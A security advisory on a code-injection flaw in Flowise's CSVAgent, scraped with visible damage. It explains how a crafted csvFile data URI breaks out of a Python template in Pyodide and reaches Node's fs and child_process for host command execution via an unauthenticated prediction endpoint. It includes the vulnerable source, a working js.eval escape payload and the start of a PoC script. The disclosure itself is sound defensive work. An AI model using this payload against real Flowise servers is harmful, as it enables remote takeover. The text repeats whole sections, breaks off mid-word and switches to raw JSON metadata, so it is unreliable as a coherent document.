### Summary
Flowise's `CSVAgent` interpolates an attacker-controlled segment of the
`csvFile` data URI directly into a Python source-code template that is then
executed by Pyodide. Because Pyodide is loaded with the default `js` bridge
to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the
attacker can break out of the Python string literal, hand a JS string to
`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,
…), and execute arbitrary file I/O or OS commands as the Flowise process.
The two validator paths around this code (`validatePythonCodeForDataFrame`
and `validateCustomReadCSVFunction`) are never applied to the bootstrap
template.
A workspace user with `chatflows:create` (or any `agentflows`/`chatflows`
update permission) plants a CSV Agent node with a crafted `csvFile`. Once the
chatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`
endpoint, *any unauthenticated* request triggers the host RCE.
### Details
**Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`
The `run()` method extracts the file segment from the data URI by splitting on
`,` and using two `pop()` calls (lines 127–138):
```ts
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop() // discards trailing filename segment
base64String += splitDataURI.pop() ?? '' // captures the segment we attack
}
}
```
The captured `base64String` is then **interpolated verbatim** into a Python
source string at lines 156–171:
```ts
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}" // ← line 161: interpolation sink
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
```
**Validator gaps:**
- `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but
this only validates the `customReadCSV` field, not `base64String`.
- `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only
against the *LLM-emitted* Python that runs later , never against this
bootstrap template.
- No content check (`^[A-Za-z0-9+/=]*
) is applied to `base64String` before
interpolation.
**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,
lines 7–16):
```ts
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
```
Pyodide is loaded with default options. On Node.js, the default `js` module
inside Pyodide bridges to `globalThis`, exposing the JS `eval` function and
top-level dynamic `import()`. From injected Python, the attacker runs:
```python
import js
await js.eval(
"(async () => {"
" const fs = await import('fs');"
" fs.writeFileSync('proof.txt', 'pwned');"
"})()"
)
```
…which executes in the host Node.js process, **not** inside Pyodide's WASM
sandbox. Substituting `await import('child_process')` for `await import('fs')`
yields arbitrary OS-command execution via `cp.execSync(...)` with the same
primitive.
> **Node-version note.** The original PoC for this issue used
> `js.process.mainModule.require("child_process")`, which is a one-liner but
> only works on Node ≤ 13 because `proc
### Summary
Flowise's `CSVAgent` interpolates an attacker-controlled segment of the
`csvFile` data URI directly into a Python source-code template that is then
executed by Pyodide. Because Pyodide is loaded with the default `js` bridge
to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the
attacker can break out of the Python string literal, hand a JS string to
`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,
…), and execute arbitrary file I/O or OS commands as the Flowise process.
The two validator paths around this code (`validatePythonCodeForDataFrame`
and `validateCustomReadCSVFunction`) are never applied to the bootstrap
template.
A workspace user with `chatflows:create` (or any `agentflows`/`chatflows`
update permission) plants a CSV Agent node with a crafted `csvFile`. Once the
chatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`
endpoint, *any unauthenticated* request triggers the host RCE.
### Details
**Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`
The `run()` method extracts the file segment from the data URI by splitting on
`,` and using two `pop()` calls (lines 127–138):
```ts
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop() // discards trailing filename segment
base64String += splitDataURI.pop() ?? '' // captures the segment we attack
}
}
```
The captured `base64String` is then **interpolated verbatim** into a Python
source string at lines 156–171:
```ts
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}" // ← line 161: interpolation sink
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
```
**Validator gaps:**
- `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but
this only validates the `customReadCSV` field, not `base64String`.
- `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only
against the *LLM-emitted* Python that runs later , never against this
bootstrap template.
- No content check (`^[A-Za-z0-9+/=]*
) is applied to `base64String` before
interpolation.
**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,
lines 7–16):
```ts
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
```
Pyodide is loaded with default options. On Node.js, the default `js` module
inside Pyodide bridges to `globalThis`, exposing the JS `eval` function and
top-level dynamic `import()`. From injected Python, the attacker runs:
```python
import js
await js.eval(
"(async () => {"
" const fs = await import('fs');"
" fs.writeFileSync('proof.txt', 'pwned');"
"})()"
)
```
…which executes in the host Node.js process, **not** inside Pyodide's WASM
sandbox. Substituting `await import('child_process')` for `await import('fs')`
yields arbitrary OS-command execution via `cp.execSync(...)` with the same
primitive.
> **Node-version note.** The original PoC for this issue used
> `js.process.mainModule.require("child_process")`, which is a one-liner but
> only works on Node ≤ 13 because `proc
Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.
) is applied to `base64String` before\n interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7–16):\n\n```ts\nexport async function LoadPyodide(): Promise\u003cPyodideInterface> {\n if (pyodideInstance === undefined) {\n const { loadPyodide } = await import('pyodide')\n const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }\n pyodideInstance = await loadPyodide(obj)\n await pyodideInstance.loadPackage(['pandas', 'numpy'])\n }\n return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n \"(async () => {\"\n \" const fs = await import('fs');\"\n \" fs.writeFileSync('proof.txt', 'pwned');\"\n \"})()\"\n)\n```\n\n…which executes in the host Node.js process, **not** inside Pyodide's WASM\nsandbox. Substituting `await import('child_process')` for `await import('fs')`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n> **Node-version note.** The original PoC for this issue used\n> `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n> only works on Node ≤ 13 because `process.mainModule` was deprecated and now\n> returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n> above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n> confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n> 20.20.2 , see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n> below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install && node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n \"name\": \"poc-flowise-s1\",\n \"version\": \"1.0.0\",\n \"type\": \"commonjs\",\n \"dependencies\": {\n \"pyodide\": \"^0.29.3\"\n }\n}\n```\n\n**`repro_a1_pyodide.js`** , mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(',')`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n// 1. JS-side template-literal interpolation produces malicious Python\n// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic\n// import('fs') -> host file ","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cvssVersion":"4.0","severitySource":"github","cwes":["CWE-94","CWE-95"],"refs":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"affected":[{"product":"flowise","ecosystem":"npm","package":"flowise","introduced":"","fixed":"3.1.3","lastAffected":""}],"changes":[]},"related":[{"id":"GHSA-2364-jh4q-m9vm","cve":"CVE-2026-73488","aliases":["CVE-2026-73488"],"summary":"Flowise: IDOR vulnerability exists at the GET /api/v1/organization/customer-default-source endpoint","severity":"medium","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-14","withdrawn":"","url":"https://github.com/advisories/GHSA-2364-jh4q-m9vm","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-r745-8hwv-h473","cve":"CVE-2026-69250","aliases":["CVE-2026-69250"],"summary":"Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration","severity":"high","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-r745-8hwv-h473","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-g32j-mmxr-gfq5","cve":"CVE-2026-69251","aliases":["CVE-2026-69251"],"summary":"Flowise RCE via TypeORM DataSource","severity":"critical","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-g32j-mmxr-gfq5","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-wp74-f5hh-5f3r","cve":"CVE-2026-69252","aliases":["CVE-2026-69252"],"summary":"Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization","severity":"high","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-wp74-f5hh-5f3r","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-wg86-r78f-74mp","cve":"CVE-2026-69253","aliases":["CVE-2026-69253"],"summary":"Flowise Sandbox Escape to RCE","severity":"critical","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-wg86-r78f-74mp","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-3769-jgqc-cxm7","cve":"CVE-2026-69254","aliases":["CVE-2026-69254"],"summary":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","severity":"critical","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-3769-jgqc-cxm7","foundAt":"2026-09-24 23:00:21"}]}}